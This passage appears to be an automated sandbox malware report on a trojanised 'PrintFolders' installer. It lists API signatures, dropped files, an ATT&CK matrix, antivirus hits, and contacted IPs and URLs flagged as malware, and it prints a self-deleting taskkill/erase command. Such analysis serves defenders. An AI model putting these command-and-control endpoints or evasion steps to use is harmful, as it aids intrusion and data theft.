                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\file.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_0-5527
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Program Files (x86)\PrintFolders\unins000.exe (copy)Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Program Files (x86)\PrintFolders\Russian.dll (copy)Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_shfoldr.dllJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_setup64.tmpJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Program Files (x86)\PrintFolders\is-JPR4D.tmpJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpDropped PE file which has not been started: C:\Program Files (x86)\PrintFolders\is-6QPAJ.tmpJump to dropped file
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_2-35037
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: __Init_thread_footer,GetUserNameA,GetUserNameA,__Init_thread_footer,GetUserNameA,__Init_thread_footer,GetUserNameA,GetForegroundWindow,GetWindowTextA,Sleep,Sleep,GetForegroundWindow,GetWindowTextA,2_2_004056A0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004095D0 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,0_2_004095D0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0046C770 FindFirstFileA,FindNextFileA,FindClose,1_2_0046C770
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00474708 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,1_2_00474708
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00451554 FindFirstFileA,GetLastError,1_2_00451554
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0048A778 FindFirstFileA,6CAA69D0,FindNextFileA,FindClose,1_2_0048A778
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004729D4 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,1_2_004729D4
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045CA54 FindFirstFileA,FindNextFileA,FindClose,1_2_0045CA54
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00406FEC FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,1_2_00406FEC
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045DB60 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_0045DB60
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045DEF4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_0045DEF4
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,2_2_00404490
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00423E2D FindFirstFileExW,2_2_00423E2D
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_1000959D FindFirstFileExW,2_2_1000959D
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpJump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\Jump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0041336B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_0041336B
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,2_2_00402BF0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00402F20 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,2_2_00402F20
                Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0044028F mov eax, dword ptr fs:[00000030h]2_2_0044028F
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0042041F mov eax, dword ptr fs:[00000030h]2_2_0042041F
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004429E7 mov eax, dword ptr fs:[00000030h]2_2_004429E7
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00417BAF mov eax, dword ptr fs:[00000030h]2_2_00417BAF
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_100091C7 mov eax, dword ptr fs:[00000030h]2_2_100091C7
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_10006CE1 mov eax, dword ptr fs:[00000030h]2_2_10006CE1
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0040F789 SetUnhandledExceptionFilter,2_2_0040F789
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0041336B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_0041336B
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0040F5F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_0040F5F5
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0040EBD2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_0040EBD2
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_10006180 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_10006180
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_100035DF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_100035DF
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_10003AD4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_10003AD4
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "PrintFolders.exe" /f Jump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "PrintFolders.exe" /f & erase "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" & exitJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "PrintFolders.exe" /f Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004593E4 GetVersion,GetModuleHandleA,6CAA5550,6CAA5550,6CAA5550,AllocateAndInitializeSid,LocalFree,1_2_004593E4
                Source: PrintFolders.exe, 00000002.00000002.381742937.00000000034DF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: Program Manager
                Source: PrintFolders.exe, 00000002.00000002.381742937.00000000034DF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: program manager
                Source: PrintFolders.exe, 00000002.00000002.381742937.00000000034DF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: F.program manager56{m
                Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoA,0_2_004051C8
                Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoA,0_2_00405214
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: GetLocaleInfoA,1_2_0040874C
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: GetLocaleInfoA,1_2_00408798
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetKeyboardLayoutList,GetLocaleInfoA,__Init_thread_footer,2_2_00404D40
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: EnumSystemLocalesW,2_2_00427041
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: EnumSystemLocalesW,2_2_0042708C
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: EnumSystemLocalesW,2_2_00427127
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,2_2_004271B2
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: EnumSystemLocalesW,2_2_0041E2FF
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetLocaleInfoW,2_2_00427405
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,2_2_0042752B
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetLocaleInfoW,2_2_00427631
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,2_2_00427700
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetLocaleInfoW,2_2_0041E821
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,2_2_00426D9F
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0040F7F3 cpuid 2_2_0040F7F3
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00455B2C GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,6CAA5CA0,SetNamedPipeHandleState,6CF17180,CloseHandle,CloseHandle,1_2_00455B2C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004026C4 GetSystemTime,0_2_004026C4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00405CB0 GetVersionExA,0_2_00405CB0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00453A24 GetUserNameA,1_2_00453A24

                Stealing of Sensitive Information

                barindex
                Source: Yara matchFile source: 2.2.PrintFolders.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.3310000.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.3310000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.381430567.0000000001730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.381635240.0000000003310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                Valid Accounts1
                Windows Management Instrumentation
                Path Interception1
                Access Token Manipulation
                2
                Masquerading
                1
                Input Capture
                1
                System Time Discovery
                Remote Services1
                Input Capture
                Exfiltration Over Other Network Medium2
                Encrypted Channel
                Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                Default Accounts2
                Command and Scripting Interpreter
                Boot or Logon Initialization Scripts13
                Process Injection
                1
                Disable or Modify Tools
                LSASS Memory14
                Security Software Discovery
                Remote Desktop Protocol1
                Archive Collected Data
                Exfiltration Over Bluetooth2
                Ingress Tool Transfer
                Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                Domain Accounts2
                Native API
                Logon Script (Windows)Logon Script (Windows)1
                Access Token Manipulation
                Security Account Manager3
                Process Discovery
                SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
                Non-Application Layer Protocol
                Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)13
                Process Injection
                NTDS11
                Application Window Discovery
                Distributed Component Object ModelInput CaptureScheduled Transfer11
                Application Layer Protocol
                SIM Card SwapCarrier Billing Fraud
                Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                Deobfuscate/Decode Files or Information
                LSA Secrets1
                Account Discovery
                SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                Replication Through Removable MediaLaunchdRc.commonRc.common3
                Obfuscated Files or Information
                Cached Domain Credentials1
                System Owner/User Discovery
                VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                External Remote ServicesScheduled TaskStartup ItemsStartup Items23
                Software Packing
                DCSync3
                File and Directory Discovery
                Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem26
                System Information Discovery
                Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 753410 Sample: file.exe Startdate: 24/11/2022 Architecture: WINDOWS Score: 96 47 45.139.105.1 CMCSUS Italy 2->47 49 85.31.46.167 CLOUDCOMPUTINGDE Germany 2->49 51 Multi AV Scanner detection for domain / URL 2->51 53 Antivirus detection for URL or domain 2->53 55 Detected unpacking (changes PE section rights) 2->55 57 4 other signatures 2->57 10 file.exe 2 2->10         started        signatures3 process4 file5 31 C:\Users\user\AppData\Local\...\is-71GCF.tmp, PE32 10->31 dropped 13 is-71GCF.tmp 17 21 10->13         started        process6 file7 33 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 13->33 dropped 35 C:\Users\user\AppData\Local\...\_iscrypt.dll, PE32 13->35 dropped 37 C:\...\unins000.exe (copy), PE32 13->37 dropped 39 5 other files (4 malicious) 13->39 dropped 16 PrintFolders.exe 24 13->16         started        process8 dnsIp9 41 107.182.129.235, 49707, 80 META-ASUS Reserved 16->41 43 171.22.30.106, 49708, 80 CMCSUS Germany 16->43 45 45.139.105.171, 49706, 80 CMCSUS Italy 16->45 29 C:\Users\user\AppData\...\CqxAaSZxg.exe, PE32 16->29 dropped 20 CqxAaSZxg.exe 16->20         started        23 cmd.exe 1 16->23         started        file10 process11 signatures12 59 Multi AV Scanner detection for dropped file 20->59 25 taskkill.exe 1 23->25         started        27 conhost.exe 23->27         started        process13

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand
                No Antivirus matches
                SourceDetectionScannerLabelLink
                C:\Program Files (x86)\PrintFolders\PrintFolders.exe100%Joe Sandbox ML
                C:\Program Files (x86)\PrintFolders\Russian.dll (copy)0%ReversingLabs
                C:\Program Files (x86)\PrintFolders\is-6QPAJ.tmp2%ReversingLabs
                C:\Program Files (x86)\PrintFolders\is-JPR4D.tmp0%ReversingLabs
                C:\Program Files (x86)\PrintFolders\unins000.exe (copy)2%ReversingLabs
                C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_iscrypt.dll2%ReversingLabs
                C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_setup64.tmp0%ReversingLabs
                C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_shfoldr.dll2%ReversingLabs
                C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp4%ReversingLabs
                C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exe46%ReversingLabsWin32.Trojan.Generic
                SourceDetectionScannerLabelLinkDownload
                2.2.PrintFolders.exe.10000000.6.unpack100%AviraTR/Crypt.XPACK.Gen8Download File
                2.2.PrintFolders.exe.400000.0.unpack100%AviraHEUR/AGEN.1250671Download File
                1.2.is-71GCF.tmp.400000.0.unpack100%AviraHEUR/AGEN.1232832Download File
                0.2.file.exe.400000.0.unpack100%AviraHEUR/AGEN.1248792Download File
                No Antivirus matches
                SourceDetectionScannerLabelLink
                http://www.innosetup.com/0%URL Reputationsafe
                http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte0%URL Reputationsafe
                http://107.182.129.235/storage/extension.php0%URL Reputationsafe
                http://www.remobjects.com/?ps0%URL Reputationsafe
                http://www.innosetup.com0%URL Reputationsafe
                http://107.182.129.235/storage/ping.php0%URL Reputationsafe
                http://171.22.30.106/library.php100%URL Reputationmalware
                http://www.remobjects.com/?psU0%URL Reputationsafe
                http://171.22.30.106/library.phpV10%VirustotalBrowse
                http://pfolders.atopoint.com20%Avira URL Cloudsafe
                http://www.atopoint.com0%Avira URL Cloudsafe
                http://171.22.30.106/library.php~100%Avira URL Cloudmalware
                http://171.22.30.106/library.phpV100%Avira URL Cloudmalware
                http://171.22.30.106/library.php:100%Avira URL Cloudmalware
                http://pfolders.atopoint.com.0%Avira URL Cloudsafe
                http://171.22.30.106/library.phpB100%Avira URL Cloudmalware
                http://171.22.30.106/library.phpjN100%Avira URL Cloudmalware
                http://171.22.30.106/library.phpH100%Avira URL Cloudmalware
                http://171.22.30.106/library.php&100%Avira URL Cloudmalware
                http://pfolders.atopoint.com0%Avira URL Cloudsafe
                http://171.22.30.106/library.phpj100%Avira URL Cloudmalware
                http://www.innosetup.comDVarFileInfo$0%Avira URL Cloudsafe
                http://171.22.30.106/library.php0100%Avira URL Cloudmalware
                http://www.atopoint.com.0%Avira URL Cloudsafe
                No contacted domains info
                NameMaliciousAntivirus DetectionReputation
                http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixintefalse
                • URL Reputation: safe
                unknown
                http://107.182.129.235/storage/extension.phpfalse
                • URL Reputation: safe
                unknown
                http://107.182.129.235/storage/ping.phpfalse
                • URL Reputation: safe
                unknown
                http://171.22.30.106/library.phptrue
                • URL Reputation: malware
                unknown
                NameSourceMaliciousAntivirus DetectionReputation
                http://pfolders.atopoint.com.file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                unknown
                http://www.innosetup.com/is-71GCF.tmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drfalse
                • URL Reputation: safe
                unknown
                http://171.22.30.106/library.phpVPrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • 10%, Virustotal, Browse
                • Avira URL Cloud: malware
                unknown
                http://pfolders.atopoint.com2is-71GCF.tmp, 00000001.00000002.382781882.00000000021C0000.00000004.00001000.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                unknown
                http://www.atopoint.comfile.exe, 00000000.00000003.292219295.0000000002090000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293626976.0000000002F40000.00000004.00001000.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                unknown
                http://171.22.30.106/library.php:PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://171.22.30.106/library.php~PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.311694690.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://171.22.30.106/library.phpBPrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://171.22.30.106/library.phpjNPrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://171.22.30.106/library.phpHPrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://www.remobjects.com/?psfile.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drfalse
                • URL Reputation: safe
                unknown
                http://171.22.30.106/library.php&PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                unknown
                http://pfolders.atopoint.comfile.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382781882.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293626976.0000000002F40000.00000004.00001000.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                unknown
